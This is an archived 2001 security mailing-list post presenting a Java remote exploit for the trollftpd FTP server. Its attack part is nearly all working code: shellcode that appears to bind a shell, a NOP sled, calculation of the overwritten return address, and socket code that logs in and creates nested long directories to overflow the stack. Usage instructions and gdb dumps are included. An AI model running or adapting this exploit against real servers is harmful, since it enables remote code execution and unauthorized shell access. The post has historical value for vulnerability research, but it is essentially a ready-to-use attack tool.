Vulnerability Development mailing list archives

Using Java for Malicious hexcodes and stack exploits


From: KF <dotslash () snosoft com>
Date: Tue, 21 Aug 2001 05:21:36 -0400

        Here is an example of how you might use java to create a remote
exploit... I have seen various forms of malicious java
but not much in the way of local and or remote java exploitation... I
also successfully created java code to exploit 
local binaries if anyone is interested. Attached is a java attempt at
remotely exploiting trollftpd as described by zen-parse. 
This code could use some TLC but my intent was only to spark
conversation or to give help to those who are trying to code 
exploits in java. 

-KF
/*
   code by: krfinisterre () checkfree com

   java trollftpdex <return> <offset> <localhost> <user> <pass>

   then ftp in and cd /tmp ls -R to invoke the overflow
   
   Here are some gdb dumps for those of you that want edit this. 

   0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510 
   510                 if ( *r && !chdir( *r ) ) {

   (gdb) bt
   #0  0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510
   #19 0x0804fa0f in listdir (f=4, name=0xbfffc6f0 "./rapeme.") at ls.c:517
   #20 0x0804fa0f in listdir (f=4, name=0x80524c9 ".") at ls.c:517
   #21 0x08050240 in donlist (arg=0x8055127 "") at ls.c:720
   #22 0x0804aadf in parser () at ftpd.c:420
   #23 0x0804e8d2 in main (argc=1, argv=0xbffffa4c) at ftpd.c:1730
   #24 0x4006b0de in __libc_start_main () from /lib/libc.so.6

   from looking at gdb dumps the code is somewhere between these 2 locations
   0xbffe9180:      'A' <repeats 190 times>, "/\220\220\220\220\220\220\220\220\220"
   ...      
   0xbffe9310:      "\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\205~?"  

*/
import java.net.*;
import java.io.*; 
import java.util.*; 
public class trollftpdex
{
        public static void main(String args[])
        throws IOException, InterruptedException
        {

                // shellcode from trock.c by zen-parse runs /tmp/rapeme./AAAAAAAA.../AAAA.../UUUU 
                String scode = 
"\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x43\\x53\\x89\\xe1\\x4b\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68\\x27\\x10\\x43\\x66\\x53\\x89\\xe1\\xb0\\x10\\x50\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x50\\x50\\x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68\\x55\\x55\\x55\\x55\\x68\\x55\\x55\\x55\\x55\\x89\\xe3\\x51\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";
                int codelen = (scode.length()/4);               

                // these are obviously nops
                int noplen = (((254 - codelen)/2) -4) ;
                String shellcode = "\\x90";

                for(int x = 4; x < noplen; x++)
                {
                        shellcode = shellcode + "\\x90"; 
                } 
        
                shellcode = shellcode + scode;  
        


                Integer o = new Integer(args[1]);
                String off = o.toString(o.intValue(), 16);                
                long offset = Long.parseLong(off, 16);
                long esp = Long.parseLong(args[0], 16);

                // What we want to eip to be
                long evilreturn = esp - offset;
                String evilreturn_hex_tmp = Long.toHexString(evilreturn);

                String evilreturn_hex1 = evilreturn_hex_tmp.substring(0,2);
                String evilreturn_hex2 = evilreturn_hex_tmp.substring(2,4);
                String evilreturn_hex3 = evilreturn_hex_tmp.substring(4,6);
                String evilreturn_hex4 = evilreturn_hex_tmp.substring(6,8);

                String ret = evilreturn_hex4 + "\\x" + evilreturn_hex3 + "\\x" + evilreturn_hex2 + "\\x" + 
evilreturn_hex1; 
                // heres our return addy
                int addylen = ((254 - codelen)/2);
                for(int x = 0; x < addylen; x=x+4)
                {
                        shellcode = shellcode + ret ; 
                } 


                // fill an internal char array for use in string mal    
                CharArrayWriter pw = new CharArrayWriter(5);
                StringTokenizer st = new StringTokenizer(shellcode, "\\x");
                int len = st.countTokens();
                for(int x = 0; x < len; x ++)
                {
                        int nopi = Integer.parseInt(st.nextToken(), 16);
                        pw.write(nopi);
                        
                }
                pw.flush();
                pw.close();
                String mal = pw.toString();


                try             
                {
                        // Put the bulk of the code here.       
                        Socket s = new Socket(args[2], 21);
                        System.out.print(".");
                        PrintStream ps = new PrintStream(s.getOutputStream());
                        DataInputStream dis = new DataInputStream(s.getInputStream());

                        ps.println("user " + args[3]);
                        ps.flush();

                        ps.println("pass " + args[4]);
                        ps.flush();

                        ps.println("mkd /tmp/rapeme.");
                        ps.flush();

                        ps.println("cwd /tmp/rapeme.");
                        ps.flush();

                        ps.println("mkd AAAAAAAAAA");
                        ps.flush();
                        ps.println("cwd AAAAAAAAAA");
                        ps.flush();


                        // 255 chars in len
                        for(int x = 0; x < 18; x++)
                        {
                                ps.println("mkd 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
                                ps.flush();
                                ps.println("cwd 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
                                ps.flush();
                        }

                        // put our payload here 
                        ps.println("mkd " + mal);
                        ps.flush();
                        ps.println("cwd " + mal);
                        ps.flush();

                        ps.flush();
                        ps.println("quit");
                        ps.flush();

                        String line = null;
                        while( (line = dis.readLine() ) != null)
                        {
                                System.out.println(line);       
                                line = null;
                        }

                        ps.close();
                        dis.close();
                        s.close();
                        
                }


                catch(IOException e)
                {
                        System.out.println(e);
                }

        }
}




Current thread: